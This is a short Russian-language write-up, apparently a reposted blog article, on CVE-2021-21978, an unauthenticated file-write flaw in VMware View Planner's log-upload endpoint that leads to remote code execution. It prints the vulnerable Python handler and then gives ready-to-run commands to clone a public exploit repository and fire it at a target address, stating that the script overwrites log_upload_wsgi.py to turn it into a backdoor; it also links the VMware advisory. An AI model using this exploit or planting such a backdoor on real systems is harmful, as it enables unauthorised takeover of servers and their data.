
Эксплойт-скрипт с выводом результата
Эксплойт с выводом результата, более простой способ
В веб-интерфейсе управления VMware View Planner есть функция загрузки файла журнала, не требующая аутентификации, а путь записываемого файла журнала контролируется пользователем. Перезаписав файл функции загрузки журнала
log_upload_wsgi.py, можно добиться RCE.
Код уязвимости:
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
pip install requests
git clone https://github.com/skytina/CVE-2021-21978
cd CVE-2021-21978
python3 CVE-2021-21978.py https://192.168.80.3/

Скрипт эксплуатации перезаписывает log_upload_wsgi.py, превращая его в бэкдор.

Источник эксплойта: https://twitter.com/osama_hroot/status/1367258907601698816
Официальное сообщение VMware: https://www.vmware.com/security/advisories/VMSA-2021-0003.html
Если приведённый выше материал был полезен, вы можете подписаться на официальный аккаунт.
